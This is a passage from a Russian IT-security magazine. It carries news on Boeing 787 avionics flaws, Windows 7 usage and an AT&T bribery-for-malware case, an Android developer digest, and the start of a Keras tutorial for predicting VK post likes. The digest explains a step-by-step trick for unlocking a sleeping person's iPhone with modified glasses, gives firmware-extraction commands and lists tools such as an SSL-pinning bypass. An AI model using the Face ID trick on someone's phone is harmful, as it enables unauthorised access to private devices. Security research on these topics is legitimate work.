ми перепол нени ями,  перепол нени ем буфера,  отка зом в обслу жива нии,  out‐
of‐bound чте нием и записью, наруше нием целос тнос ти информа ции в памяти
и так далее.

При этом эксперт под черки вает, что порабо тать с нас тоящим Boeing 787
«вжи вую»  ему  не  уда лось,  то  есть  все  тес ты  про води лись  на  несер тифици‐ 
рован ной плат форме, и Сан тамар та не смог допод линно убе дить ся, дей стви‐ 
тель но  ли  бы  он  сумел  экс плу ати ровать  най ден ные  уяз вимос ти  и  с  их
помощью кон тро лиро вать сис темы управле ния полетом.

Пред ста вите ли IOActive свя зались с инже нера ми ком паний Boeing и Hon‐
eywell (раз работ чик CIS/MS), и те под твер дили наличие проб лем в коде Boe‐
ing  787.  Одна ко  вмес те  с  этим  раз работ чики  сооб щили,  что  им  не  уда лось
вос про извести  опи сан ные  иссле дова телем  ата ки  на  прак тике  и  зах ватить
кон троль над ави они кой, а зна чит, сис темы воз душных судов нель зя счи тать
уяз вимыми.  Кро ме  того,  в  Boeing  уве ряют,  что  ком пания  уже  пред при няла
защит ные меры,  которые  допол нитель но  меша ют  экс плу ата ции  багов.  Под‐ 
твер дить или опро вер гнуть это заяв ление в IOActive не смог ли.

Пред ста вите ли Boeing рас ска зали бри тан ско му изда нию The Register, что
они  «разоча рова ны  безот ветс твен ной  и  вво дящей  в  заб лужде ние  пре зен‐ 
таци ей IOActive». По сло вам пред ста вите лей ком пании, иссле дова тели IOAc‐
tive изу чили лишь одну часть сети Boeing 787, исполь зуя для это го «рудимен‐ 
тарные  инс тру мен ты»,  не  имея  дос тупа  к  дру гим  сис темам  и  фак тичес кой
рабочей сре де. Но иссле дова тели решили про игно риро вать эти огра ниче ния
и  под твержден ные  резуль таты  тес тов,  про веден ные  спе циалис тами  самой
Boeing,  и  теперь  выс тупа ют  с  «про вока цион ными  заяв лени ями,  буд то  у  них
был дос туп и они ана лизи рова ли работа ющую сис тему».

ПО КОН ЧИТЬ С WINDOWS 7 БУДЕТ НЕП РОСТО
Эк спер ты «Лабора тории Кас пер ско го» пре дуп редили, что не толь ко прос тые поль зовате ли, но и
малый и сред ний биз нес по‐преж нему активно исполь зуют Windows 7 и ско рое прек ращение
под дер жки вряд ли быс тро это изме нит.

Рас ширен ная под дер жка Windows 7 будет прек ращена  . Microsoft про‐ 
дол жит пре дос тавлять обновле ния безопас ности некото рым поль зовате лям и пос ле этой даты,
вплоть до  ,  но  при дет ся  пла тить  за  каж дое  устрой ство  отдель но,  и  цена
будет воз растать каж дый год.
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По  дан ным  иссле дова телей,    пред ста вите лей  малого  и  сред него  биз неса  по‐преж нему
полага ются на Windows 7, тог да как сре ди домаш них поль зовате лей это зна чение рав но  .

47%
38%

Ин терес но,  что  Windows  10  тоже  исполь зуют    орга низа ций,  то  есть  в  слу чае  малого
и сред него биз неса наб люда ется паритет.

47%

К  счастью,  уже  прак тичес ки  ник то  не  поль зует ся Windows  XP,  Vista  и Windows  8  (количес тво
домаш них и кор поратив ных поль зовате лей не пре выша ет   от обще го чис ла).1–2%

Од нако Windows 8.1 все еще может пох вастать ся   домаш них уста новок и в   слу чаев при‐ 
меня ется на пред при ятиях.

7% 5%

→ «Широкое рас простра нение Windows 7 вызыва ет бес покой ство, так как до окон чания под‐ 
дер жки  оста лось  менее  шес ти  месяцев.  При чины  такого  отста вания  в  обновле нии  ОС  могут
быть  раз ными,  начиная  от  уста нов ленно го  прог рам мно го  обес печения,  которое  может  быть
не в сос тоянии работать с новей шими вер сиями ОС, и закан чивая эко номи чес кими при чина ми
или прос тым удобс твом от исполь зования при выч ной ОС», — говорит спе циалист «Лабора тории
Кас пер ско го» Алек сей Пан кра тов.

ВЗЯТКА ЗА МАЛВАРЬ
Ми нис терс тво  юсти ции  США  сооб щило,  что  сот рудни ки  ком пании  AT&T
получи ли более мил лиона дол ларов взя ток за внед рение вре донос ного ПО и
несан кци они рован ного обо рудо вания в сети ком пании, а так же раз бло киров‐ 
ку двух мил лионов мобиль ных устрой ств.

Следс твию  ста ло  извес тно  о  про исхо дящем  во  вре мя  раз биратель ства
по  делу  34‐лет него  граж данина  Пакис тана  Мухам меда  Фах да  (Muhammad
Fahd) и его сооб щни ка Гулама Джи вани (Ghulam Jiwani), который в нас тоящее
вре мя счи тает ся умер шим. Имен но этих дво их обви няют в под купе сот рудни‐ 
ков AT&T в вашин гтонском кол‐цен тре Mobility Customer Care.

Фахд  был  арес тован  в  Гон конге  в  фев рале  2018  года  и  экс тра диро ван
в  США  в  июле  2019  года.  Сей час  ему  предъ явлен  целый  ряд  обви нений,
из‐за чего ему гро зит тюрем ное зак лючение на срок до двад цати лет.

Со обща ется,  что  зло умыш ленни ки  под купали  сот рудни ков  ком пании
с апре ля 2012 года по сен тябрь 2017‐го. Начина ли Фахд и Джи вани с малого:
со  взя ток  за  раз бло киров ку  дорогих  iPhone,  что бы  устрой ства  мож но  было
исполь зовать за пре дела ми сети AT&T.

Мо шен ники  свя зыва лись  с  сот рудни ками  ком пании  через  соци аль ные
сети или по телефо ну, и, если те «за скром ное воз награж дение» сог лашались
раз бло киро вать  устрой ства,  им переда вали  спис ки  кодов  IMEI. Пос ле  это го
взят ки перево дились на бан ков ские сче та сот рудни ков, соз данные под прик‐ 
рыти ем  под став ных  ком паний,  или  же  пакис танцы  поп росту  переда вали
инсай дерам налич ные. Хуже того, кому‐то пла тили за то, что бы помочь опре‐ 
делить  дру гих  сот рудни ков,  которых  мож но  под купить  и  убе дить  при соеди‐ 
нить ся к мошен ничес кой схе ме.

Этот пер воначаль ный этап длил ся при мер но год, до апре ля 2013 года, и в
резуль тате  нес коль ко  сот рудни ков  AT&T  были  уво лены  или  сами  покину ли
ком панию.

За тем  Фахд  изме нил  так тику,  и  работ ников  AT&T  ста ли  под купать  ради
уста нов ки  мал вари  в  сети  ком пании  (в  упо мяну том  кол‐цен тре  в  шта те
Вашин гтон). Сог ласно судеб ным докумен там, изна чаль но вре донос ная прог‐ 
рамма  собира ла  дан ные  о  том,  как  работа ет  инфраструк тура  AT&T.  Судя
по  опи санию,  это  был  кей лог гер,  спо соб ный  собирать  кон фиден циаль ную
и  зак рытую  информа цию  о  струк туре  и  фун кци они рова нии  внут ренних
защищен ных сис тем и при ложе ний ком пании.

По дан ным Минюс та, пос ле это го пакис тан ские зло умыш ленни ки соз дали
вто рую  вер сию  мал вари,  которая  исполь зовала  информа цию,  соб ранную
пер вым  вре доно сом.  Так,  эта  мал варь  исполь зовала  похищен ные  учет ные
дан ные  сот рудни ков  AT&T  для  выпол нения  авто мати чес ких  дей ствий  с  внут‐ 
ренним  при ложе нием  ком пании.  Теперь  мошен ники  мог ли  раз бло киро вать
телефо ны  авто мати чес ки,  и  необ ходимость  каж дый  раз  вза имо дей ство вать
с сот рудни ками и под купать их отпа ла.

В 2014 году у Фах да начались проб лемы с управле нием этой вре донос ной
«зак ладкой», и он был вынуж ден под купить сот рудни ков кол‐цен тра еще раз,
теперь  для  уста нов ки  в  сети  ком пании  ряда  точек  бес про вод ного  дос тупа.
Через  эти  девай сы  зло умыш ленни ки  вновь  получи ли  дос туп  к  внут ренним
при ложе ниям и сети AT&T, про дол жив мас сово раз бло киро вать телефо ны.

По информа ции следс твия, в общей слож ности Фахд и Джи вани пот ратили
на взят ки более мил лиона дол ларов США и  успешно отвя зали от сети AT&T
свы ше двух мил лионов устрой ств (в основном это были дорогие iPhone). Так,
за  пять  лет  толь ко  один  из  сот рудни ков  AT&T  получил  взя ток  на  сум му
более  428  500  дол ларов США.  Трое  неназ ванных  соучас тни ков  этой  схе мы
уже приз нали свою вину.

Из вес тно,  что Фахд и Джи вани  управля ли сра зу  тре мя  ком пани ями: End‐
less  Trading  FZE,  Endless  Connections  Inc.  и  iDevelopment.  При  этом Минюст
не уточ няет, занима лись обви няемые раз бло киров кой укра ден ных устрой ств
или прос то запус тили сайт, где пред лагали услу ги по раз бло киров ке мобиль‐ 
ных  устрой ств.  Потери  AT&T  от  дей ствий  мошен ников  оце нива ются  приб‐ 
лизитель но в пять мил лионов дол ларов в год.

Пред ста вите ли  AT&T  уже  заяви ли,  что  сот рудни чали  с  пра воох ранитель‐ 
ными орга нами, рас сле довав шими дан ную мошен ничес кую схе му, и под чер‐ 
кну ли, что лич ные дан ные кли ентов от дей ствий Фах да и Джи вани не пос тра‐ 
дали.

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

Эк спер ты Google обна ружи ли сай ты, годами ата ковав шие поль зовате лей iOS

Мал варь  TrickBot  теперь  вору ет  PIN‐коды  и  учет ные  дан ные  от  акка унтов  Verizon,  T‐Mobile
и Sprint

Спе циалис ты  Avast  и  фран цуз ская  полиция  обез вре дили  бот нет,  нас читывав ший  850  тысяч
машин

Пос ле рас кры тия  уяз вимос тей  на Black Hat  начались  ата ки  на VPN‐решения  Fortigate  и Pulse
Secure

Ис сле дова тели пре дуп редили, что про токол WS‐Discovery исполь зует ся для DDoS‐атак

Пред став лен ключ YubiKey 5Ci, сов мести мый как с USB‐C, так и с Lightning

Две новые уяз вимос ти с потен циалом чер вя угро жают Windows и похожи на BlueKeep

В коде Webmin более года скры вал ся бэк дор

Из‐за  ошиб ки  про дук ты  «Лабора тории  Кас пер ско го»  поз воляли  сай там  шпи онить  за  поль‐ 
зовате лями

Толь ко 26% поль зовате лей сог ласились сме нить пароль, узнав о его ком про мета ции
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Се год ня в выпус ке: прос той и эффектив ный
спо соб  обма на  Face  ID,  реверс‐инжи‐ 
ниринг про шивок  IoT‐устрой ств, неожи дан‐ 
ные  резуль таты  срав нения  про изво дитель‐ 
нос ти  Java  и  Kotlin,  срав нение  пат тернов
MVC, MVP, MVVM и MVI, советы по исполь‐ 
зованию Android Studio. А так же: набор све‐ 
жих  инс тру мен тов  пен тесте ра  и  биб лиотек
для прог раммис тов.

ПОЧИТАТЬ

Как обма нуть Face ID
  —  пре зен‐ 

тация с Black Hat, пос вящен ная спо собам обма на биомет ричес ких сен соров
в смар тфо нах (дат чик отпе чат ка паль ца, ска нер лица и сет чатки). Авто ры при‐ 
водят нес коль ко спо собов обхо да дат чиков, в том чис ле с помощью пря мого
под клю чения к шине камеры и подачи на нее заранее сня того изоб ражения
(это  поз воля ет  обой ти  алго рит мы  опре деле ния  реаль ного  при сутс твия
челове ка, но не лазер ные ска неры в iPhone и некото рых дру гих смар тфо нах).
Но инте рес нее все го спо соб обма на ска нера Face ID в iPhone X и более поз‐ 
дних моделях.

Biometric  Authentication  Under  Threat:  Liveness  Detection  Hacking

Во  вре мя  ска ниро вания  iPhone  стро ит  под робную  3D‐модель  лица
челове ка  и  тре бует,  что бы  гла за были откры ты.  Такой  под ход  сво дит  на  нет
поч ти  все  методы  манипу ляции,  вклю чая  показ  фотог рафии,  виде оза писи,
под несение смар тфо на к лицу спя щего челове ка и так далее.

Но  у  это го  механиз ма  есть  фун дамен таль ный  изъ ян.  При  ска ниро вании
лица  челове ка  в  очках  он  не  может  полагать ся  на  3D‐ска ниро вание  глаз
и  перек люча ется  на  куда более  прос той  алго ритм:  если  в  рай оне  глаз  есть
белая точ ка на чер ном фоне — гла за счи тают ся откры тыми. Дос таточ но взять
любые очки,  нак леить  на  них два  кусоч ка  чер ной изо лен ты,  нарисо вать  в  их
цен тре белые круж ки, и вуаля: надева ем очки на спя щего челове ка, под носим
к его лицу смар тфон — и экран раз бло киро ван.

Оч ки для обма на Face ID

Ре верс‑инжи ниринг про шивок IoT-устрой ств
  —  вве дение

в реверс‐инжи ниринг про шивок раз личных  IoT‐устрой ств,  таких как роуте ры,
камеры, устрой ства для умно го дома и так далее. Статья корот кая, прос тая,
но  содер жит  нес коль ко  ввод ных  рекомен даций,  которые  могут  при годить ся
нович кам.

How  to  Start  IoT  device  Firmware  Reverse  Engineering?

1. Лю бой  реверс  начина ется  с  поис ка  самой  про шив ки.  Обыч но  ее  мож но
ска чать с сай та про изво дите ля или на форумах.

2. За час тую  про шив ки  рас простра няют ся  в  zip‐архи ве,  внут ри  которо го
находит ся файл с рас ширени ем .bin.

3. Обыч но файл .bin — это сплав из заг рузчи ка, ядра Linux и обра зов одно го
или  нес коль ких  раз делов.  Что бы  узнать  адре са  сме щений,  по  которым
находят ся эти обра зы в фай ле, мож но исполь зовать ути литу  :binwalk

$ binwalk ‐e TL‐WR841Nv14_EU_0.9.1_4.16_up_boot[180319‐rel57291].
bin

4. Ад рес  сме щения  мож но  исполь зовать,  что бы  извлечь  образ  раз дела
с  помощью  ути литы    (в  дан ном  слу чае  образ  кор невой фай ловой  сис‐ 
темы squashfs):

dd

$ dd if= TL‐WR841Nv14_EU_0.9.1_4.16_up_boot[180319‐rel57291].bin 
skip=1049088 bs=1 of=TP.sfs

5. По лучить содер жимое фай ловой сис темы squashfs поз воля ет ути лита 
:

un‐
squashfs

$ unsquashfs TP.sfs

6. На этом все, мож но начинать ана лиз содер жимого про шив ки.

РАЗРАБОТЧИКУ

Срав нение про изво дитель нос ти Java и Kotlin
 — срав нение про изво дитель нос ти Java

и Kotlin с помощью набора бен чмар ков Computer Language Benchmark Game
(CLBG), исполь зуемо го во мно гих иссле дова тель ских работах.

Java  vs. Kotlin — Part 1: Performance

Ав тор  взял  шесть  бен чмар ков  CLBG  на  Java,  скон верти ровал  их  в  Kotlin
с  помощью встро енно го  в  Android Studio  кон верте ра,  а  затем перепи сал  их
в  соот ветс твии  с  осо бен ностя ми  Kotlin  и  рекомен даци ями  JetBrains
по  написа нию  кода.  Затем  срав нил  про изво дитель ность  и  пот ребле ние
памяти  всех  трех  вер сий  кода  на  стан дар тной  вир туаль ной  машине  Java
HotSpot.

Ре зуль таты бен чмар ка

Ре зуль таты  получи лись  инте рес ные.  Поч ти  во  всех  тес тах  выиг рала  Java,
и лишь в двух впе реди ока зал ся Kotlin, но не вруч ную написан ный код, а скон‐ 
верти рован ный  из  Java.  Так  получи лось  потому,  что  раз работ чики  Kotlin
рекомен дуют  исполь зовать  син такси чес кий  сахар  и  фун кци ональ ное  прог‐ 
рамми рова ние, которые сущес твен но упро щают написа ние кода, но соз дают
допол нитель ный овер хед.

За мет но  так же,  что  Kotlin  зна читель но  про играл  по  пот ребле нию  памяти
в тес те Fannkuch Redux. При чина: исполь зование пол ноцен ного объ екта Inte‐
ger  для  хра нения  прос тых  чисел  в  про тиво вес  Java,  которая  исполь зует
для это го перемен ные.

В целом Java‐код ока зал ся на 6,7% быс трее кода на Kotlin.

MVC, MVP, MVVM, MVI: в чем раз ница?
  —  раз бор  и  срав нение  раз личных

пат тернов про екти рова ния ПО, поз воля ющих раз делить биз нес‐логику, дан‐ 
ные и гра фичес кий интерфейс при ложе ния.

MVWTF:  Demystifying  Architecture  Patterns

 (Model — View — Controller) — ста рей ший пат терн про екти рова ния,
родив ший ся  в  1970‐х  годах  в  сре де  раз работ чиков  Smalltalk.  Он  раз деля ет
при ложе ние на три ком понен та:

MVC

  —  источник  дан ных:  база  дан ных,  сетевой  ресурс,  файл,  что
угод но. Модель отве чает толь ко за извле чение дан ных, но не за их отоб‐ 
ражение.

• Мо дель

  (View)  отве чает  толь ко  за  отоб ражение  дан ных,
без какой‐либо логики: что получил, то и показал.

• Пред став ление

  —  свя зующее  зве но  меж ду  моделью  и  пред став лени ем.
Кон трол лер  ответс тве нен  за  получе ние  дан ных  модели  и  переда чу  их
пред став лению  с  вне сени ем  необ ходимых  пре обра зова ний.  Так же  кон‐ 
трол лер  отве чает  за  получе ние  дан ных  из  форм  вво да  и  переда чу  их
модели.

• Кон трол лер

Глав ная проб лема MVC в слу чае с Android зак люча ется в том, что кон трол лер
и пред став ление при ходит ся реали зовать внут ри активнос ти или фраг мента,
а это  зна чит,  что они не будут по‐нас тояще му раз делены, а написа ние unit‐
тес тов  сущес твен но  зат руднит ся  (нель зя  прос то  так  взять  и  написать  JUnit‐
тест для активнос ти или фраг мента).

  (Model — View — Presenter) — раз витие идеи MVC,  в  котором  кон‐ 
трол лер  отде лен  от  пред став ления  с  помощью  абс трак тно го  интерфей са.
MVP  поз воля ет  по‐нас тояще му  отде лить  ком понен ты  при ложе ния  друг
от дру га и упро щает unit‐тес тирова ние.

MVP

 (Model — View — ViewModel) — даль нейшее раз витие MVP, в котором
кон трол лер/пре зен тер  пол ностью  отвя зан  от  пред став ления.  Роль  кон трол‐ 
лера  здесь  выпол няет  ViewModel,  которая,  как  и  кон трол лер/пре зен тер,
получа ет дан ные от модели и выпол няет необ ходимые пре обра зова ния, но не
отда ет  их  нап рямую  пред став лению.  Вмес то  это го  пред став ление  под‐ 
писыва ется на обновле ния ViewModel и отоб ража ет их по мере обновле ния.
MVVM  реали зует ся  с  помощью  реак тивных  фрей мвор ков,  таких  как  RxJava
или Android Architecture Components.

MVVM

В  слу чае  с  Android  MVVM  реша ет  одну  из  самых  раз дра жающих  проб лем:
потерю свя зей при изме нении кон фигура ции. Нап ример, ког да поль зователь
повора чива ет  экран  смар тфо на,  Android  уби вает  текущую активность  и  вос‐ 
созда ет ее заново. При исполь зовании пат терна MVP пре зен тер будет про‐ 
дол жать  хра нить  ссыл ку  на  пред став ление,  которое  находит ся  в  теперь  уже
несущес тву ющей  активнос ти.  При  исполь зовании  MVVM  пред став ление
во  вновь  соз данной  активнос ти  прос то  под пишет ся  на  ViewModel,  получит
от нее дан ные и отоб разит их.

  (Model  —  View  —  Intent)  —  пат терн,  приз ванный  решить  проб лему
MVVM под наз вани ем «сог ласован ность сос тояния». Дело в том, что на опре‐ 
делен ном уров не слож ности ViewModel на повер хность быс тро вылезет слож‐ 
ность  кон тро ля  текуще го  сос тояния:  ViewModel  может  быть  изме нена  сра зу
нес коль кими ком понен тами при ложе ния, а каж дое изме нение может при вес‐ 
ти к кон флик там в общем сос тоянии ViewModel.

MVI

Ре шить  эту  проб лему  мож но  с  помощью  хорошо  извес тных  веб‐прог‐ 
раммис там инс тру мен тов: стейт‐кон тей нера и редусе ра (при вет, Redux). С их
помощью мож но соз дать еди ную точ ку хра нения сос тояния при ложе ния, поз‐ 
воля ющую менять сос тояние ато мар но и кон систен тно.

При меры реали зации пат тернов раз мещены на  .GitHub авто ра статьи

Со веты по исполь зованию Android Studio
  —  оче ред ная  статья  на  тему

эффектив ного исполь зования Android Studio.
Get  the  most  out  of  Android  Studio  as  an  IDE

.  Вре мя  от  вре мени  мы  хотим  про верить  фраг мент  кода
на работос пособ ность. Android Studio  поз воля ет  сде лать  это  с  помощью
так  называ емо го  скретч‐фай ла,  пред став ляюще го  собой  неч то  вро де
инте рак тивной  кон соли,  в  которой  мож но  быс тро  запус тить  код  на  Java,
Kotlin и дру гих язы ках. Для вызова скретч‐фай ла набира ем Ctrl + Shift + A,
затем набира ем scratch и жмем Enter. В коде мож но исполь зовать любые
клас сы из текуще го про екта.

• Скретч‑файл

. Android Studio уме ет авто мати чес ки показы‐ 
вать докумен тацию на любой модуль, под клю чен ный к про екту. Для это го
необ ходимо вклю чить нас трой ку File → Settings → Editor → General → Oth‐
er section → Show quick documentation on mouse move, а затем про вес ти
мыш кой над име нем нуж ной фун кции.

• До кумен тация на модуль

.  Что бы  най ти  нуж ную  фун кцию  или  перемен ную  в  коде
про екта, дос таточ но нажать Ctrl + Shift + F и ввес ти ее имя.

• По иск  по  коду

. Выров нять отсту пы в коде, убрать лиш ние про‐ 
белы и пус тые стро ки мож но с помощью ком бинации Ctrl + Alt + L.

• Фор матиро вание кода

. Ком бинации Ctrl + Alt + Вле во и Ctrl + Alt + Впра во
поз воля ют быс тро переме щать ся меж ду фраг мента ми кода, на которые ты
перехо дил или которые пра вил в пос ледний раз.

• Быс трая навига ция

. Ком бинации Ctrl + Alt + [ и Ctrl + Alt + ] перек‐ 
люча ют откры тые вклад ки кода.

• Пе рек лючение вкла док

ИНСТРУМЕНТЫ

  —  под борка  инс тру мен тов
для мобиль ного пен тесте ра;

• Mobile  Security  Penetration  Testing  List

 — скрипт для рас шифров ки бэкапов, сде лан ных с помощью
встро енных в смар тфо ны Huawei при ложе ний HiSuite и KoBackup;

• kobackupdec

 — патч для Android‐вер сий при ложе ний Facebook и WhatsApp,
поз воля ющий обой ти SSL Pinning.

• FBUnpinner

БИБЛИОТЕКИ

  —  сайт  с  допол нитель ной  информа цией  о  биб лиоте ках
семей ства Android X;

• AndroidX  Tech

 — биб лиоте ка для авто мати зиро ван ного тес тирова ния UI при ложе‐ 
ния;

• Colibri

 — написан ный на Kotlin DI‐фрей мворк;• Ulfberht
 — всплы вающая панель навига ции;• Submarine

 — написан ная на Kotlin биб лиоте ка для  заг рузки изоб ражений, быс‐ 
трая и лег кая аль тер натива Picasso и Glide;

• Coil

  —  Android‐биб лиоте ка  для  аутен тифика‐ 
ции с помощью сер виса Sign In with Apple;

• sign‐in‐with‐apple‐button‐android

 — панель для инспек ции okHttp‐тра фика;• finch
  —  готовый  тем плейт  для  муль тип латфор‐ 

менно го Kotlin‐при ложе ния,  в  ком плек те: бэкенд, фрон тенд, Android‐при‐ 
ложе ние и iOS‐при ложе ние;

• kotlin‐multiplatform‐template

 — биб лиоте ка, упро щающая работу с SharedPreferences;• Bulldog
 — уни вер саль ный адап тер для RecyclerView;• SimpleGenericAdapter

 — ани миро ван ный гиб ко нас тра иваемый вид жет прог ресса;• ProgressView
  —  биб лиоте ка  для  навига ции  меж ду  фраг мента ми

с помощью табов в ниж ней час ти экра на.
• BottomNavigator
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У меня есть своя груп па «Вкон такте», и мне
ста ло  инте рес но,  мож но  ли  спрог нозиро‐ 
вать, будет пуб ликация успешной или нет. Я
решил  написать  прог рамму,  которая  бы
авто мати чес ки бра ла текст пос та, про веря‐ 
ла  его  с  помощью  ней рон ной  сети  и  пуб‐ 
ликова ла  толь ко  в  том  слу чае,  если  веро‐ 
ятность  получить  одоб рение  ауди тории
дос таточ но  высока.  Раз рабаты вать  мы
будем на Qt5 и исполь зуем Python и Keras
для обу чения ней росети.

Для  начала  в  про екте  на  Qt  в  фай ле  .pro  под клю чим  биб лиоте ку  ,
добавив  стро ку  .  Что бы  раз местить  пост  на  сте не  груп пы,
выпол няем код:

network
QT  +=  network

QString cit = "Hello!";
QUrl apiUrl;
QString str = "https://api.vkontakte.ru/method/wall.
post?owner_id=‐78329950&message=" + cit + "&from_group=1&access
_token=abcdef&v=5.73";
apiUrl.setUrl(str);
QByteArray requestString = "";

QNetworkRequest request(apiUrl);
request.setRawHeader("Content‐Type", "application/octet‐stream");

QNetworkAccessManager manager_vk;
connect(&manager_vk, SIGNAL(finished(QNetworkReply*)), this, SLOT(
slotV(QNetworkReply*)));
manager_vk.post(request, requestString);

Как  видишь,  мы  отправ ляем  зап рос  POST  с  адре сом  в  перемен ной  .
Исполь зуем метод VK API  , что бы раз местить пост на сте не груп пы.
Параметр   дол жен быть равен номеру груп пы, но записан со зна ком
минус; параметр   содер жит текст пос та;   — ука затель, что
пост будет раз мещен от име ни сооб щес тва, он равен еди нице; 

 — токен дос тупа.

str
wall.post

owner_id
message from_group

access_to‐
ken

WWW

•Под робная докумен тация по VK API
•Ру ководс тво  по  соз данию  при ложе ний  для  VK
и получе нию access_token

Ты мог заметить, что для обра бот ки зап роса мы под клю чили слот  . Он
может выг лядеть так:

slotV

void MainWindow::slotV(QNetworkReply* r)
{
   qDebug() << QString::fromUtf8(r‐>readAll());
}

В кон соли ты уви дишь резуль тат зап роса: ошиб ку, если что‐то пой дет не так,
или сооб щение с номером опуб ликован ного пос та.

СОБИРАЕМ БАЗУ ДАННЫХ ДЛЯ ОБУЧЕНИЯ НЕЙРОННОЙ СЕТИ
Что бы  обу чить  ней рон ную  сеть,  нам  нуж на  обширная  база  дан ных  пос тов,
оце нен ных  реаль ными  поль зовате лями.  Ты  можешь  взять  дан ные  из  сво ей
груп пы, а можешь вос поль зовать ся дан ными из любой дру гой откры той груп‐ 
пы. Нам нуж но соб рать файл с отметка ми о  количес тве лай ков для  каж дого
пос та. Для это го напишем прог рамму.

Что бы извлечь каж дый пост, отправ ляем зап рос GET:

QString str = "https://api.vk.com/method/wall.getById?posts=‐783299
50_" + QString::number(cnt) + "&v=5.84&access_token=abcdef";

Мы исполь зуем метод VK API  : извле каем пост со сте ны груп пы
по его номеру.

wall.getById

Па раметр    содер жит  уни каль ный  иден тифика тор  пос та  (здесь  —
),  который  сос тоит  из  иден тифика тора  груп пы  со  зна ком

минус  и  поряд кового  номера  пос та,  раз делен ных  зна ком  .  Поряд ковый
номер  пос та  содер жится  в  перемен ной  .  Параметр    —
это токен дос тупа к груп пе.

posts
‐78329950_123

_
cnt access_token

От пра вим  этот  зап рос  столь ко  раз,  сколь ко  пос тов  нам  нуж но  извлечь,
изме няя  перемен ную    в  соот ветс твии  с  поряд ковым  номером  пос та.
Получим код HTML, который будет содер жать текст пос та, количес тво лай ков
и дру гую информа цию. Рас парсим каж дый ответ, что бы извлечь из него текст
и  количес тво  лай ков.  Сох раним  в  тек сто вый  файл  дан ные,  которые  мы
получи ли.

cnt

номер поста #1
   текст поста #1
   количество лайков #1
   номер поста #2
   текст поста #2
   количество лайков #2
   ...
   номер поста #n
   текст поста #n
   количество лайков #n

Те перь, ког да все пос ты записа ны в файл, мы готовы син тезиро вать ней рон‐ 
ную сеть и обу чать ее.

KERAS
Нам понадо бит ся Keras — биб лиоте ка для работы с ней рон ными сетями.

INFO

Есть  замеча тель ная  кни га  —  «Глу бокое  обу чение
на  Python»  Фран суа  Шол ле.  По  ней  ты  можешь
осво ить  теорию,  озна комить ся  с  при мера ми
решения задач от самых прос тых до весь ма слож‐ 
ных, таких как свер точные сети и генера ция изоб‐ 
ражений.

Для начала выпол ним ряд стан дар тных дей ствий и уста новим Python:

$ sudo apt‐get update
$ sudo apt‐get upgrade
$ sudo apt‐get install python‐pip python‐dev python‐setuptools

За тем уста новим пакеты науч ных вычис лений для Python:

$ sudo apt‐get install build‐essential cmake git unzip pkg‐config 
libopenblas‐dev liblapack‐dev
$ sudo apt‐get install python‐numpy python‐scipy python‐matplotlib 
python‐yaml
$ sudo apt‐get install libhdf5‐serial‐dev python‐h5py

Пос тавим TensorFlow:

$ sudo pip install tensorflow

И саму биб лиоте ку Keras:

$ sudo pip install keras

Мож но  уста новить  Keras  и  из  репози тория  на  GitHub.  В  этом  слу чае  ты
получишь дос туп к пап ке   с при мера ми сце нари ев.keras/examples

$ git clone https://github.com/fchollet/keras
$ cd keras
$ sudo python setup.py install

Что бы про верить, что все уста нови лось, поп робуй запус тить сце нарий Keras.

python examples/mnist_cnn.py

Для выпол нения это го при мера может пот ребовать ся нес коль ко минут.

СИНТЕЗИРУЕМ И ОБУЧАЕМ НЕЙРОННУЮ СЕТЬ
Ос нову  сво ей  ней рон ной  сети  я  выб рал  из  биб лиотек  Keras  —  ней рон ная
сеть пред ска зыва ет, какой отзыв получит рецен зия на фильм: положи тель ный
или отри цатель ный. В нашем слу чае сеть будет опре делять, получит пост лай‐ 
ки или нет. Нач нем с под клю чения всех необ ходимых биб лиотек и модулей.

#! /usr/bin/env python
# ‐*‐ coding: utf‐8 ‐*‐

from keras.preprocessing.text import Tokenizer

from keras.preprocessing import sequence
from keras.models import Sequential, load_model
from keras.layers import Dense, Dropout, Activation
from keras.layers import Embedding
from keras.layers import Conv1D, GlobalMaxPooling1D

import numpy as np
import pickle

Объ явим два мас сива:   и  . В пер вом будут хра нить ся
тек сты пос тов, а во вто ром ноль, если у соот ветс тву юще го пос та не было лай‐ 
ков, и еди ница, если были. Про чита ем все пос ты из соз данно го ранее фай ла
базы дан ных.

string_list mark_list

string_list = []
mark_list = []
handle = open("vkbase.txt", "r")
for i in range(20000):
   s = handle.readline()
   s = handle.readline()
   string_list.append(s)
   s = handle.readline()
   l = int(s)
   if l > 0:
       mark_list.append(1)
   else:
       mark_list.append(0)

Соз дадим и под готовим токенай зер:

tokenizer = Tokenizer(num_words=15000)
tokenizer.fit_on_texts(string_list)

То кенай зер  соз дает  таб лицу,  в  которой  каж дому  сло ву  из  нашего  мас сива
пос тов  прис ваивает ся  уни каль ное  чис ло.  Мак сималь ное  чис ло  в  моем  слу‐ 
чае —  .15000

Сох раним  таб лицу  токенай зера  в  файл,  что бы  поль зовать ся  ей  в  даль‐ 
нейшем:

with open('tokenizer.pickle', 'wb') as hand:
   pickle.dump(tokenizer, hand, protocol=pickle.HIGHEST_PROTOCOL)

А  теперь  пре обра зуем  наш  мас сив  пос тов  в  мас сив  чисел  в  соот ветс твии
с таб лицей токенай зера:

sequences = tokenizer.texts_to_sequences(string_list)

Тут я бы хотел отме тить, что мы про чита ли не все пос ты из фай ла, а толь ко те,
которые  нам  понадо бят ся  для  обу чения  ней рон ной  сети.  Давай  про чита ем
оставши еся  3000  пос тов,  которые  будут  исполь зовать ся  для  про вер ки
работос пособ ности  нашей  ней росети,  и  так же  пре обра зуем  их  в  мас сивы
чисел.

string_list_test = []
mark_list_test = []

for i in range(3000):
   s = handle.readline()
   s = handle.readline()
   string_list_test.append(s)
   s = handle.readline()
   l = int(s)
   if l > 0:
       mark_list_test.append(1)
   else:
       mark_list_test.append(0)

sequences_test = tokenizer.texts_to_sequences(string_list_test)

Да лее  наши  мас сивы  надо  при вес ти  к  фор мату,  удоб ному  для  понима ния
ней рон ной  сетью.  Это  зна чит,  что  чис ло  слов  в  каж дом  пос те  дол жно  быть
оди нако вым.  Зададим  его  рав ным  400.  Если  в  каком‐нибудь  пос те  будет
мень ше слов, то оставши еся чис ла запол нятся нулями:

x_train = sequence.pad_sequences(sequences, maxlen=400)
x_test = sequence.pad_sequences(sequences_test, maxlen=400)

На  дан ный  момент  все  под готови тель ные  мероп риятия  завер шены,  и  мы
можем син тезиро вать ней рон ную сеть.

print('Build model...')
model = Sequential()

# We start off with an efficient embedding layer which maps
# our vocab indices into embedding_dims dimensions
model.add(Embedding(20000,
                   50,
                   input_length=400))
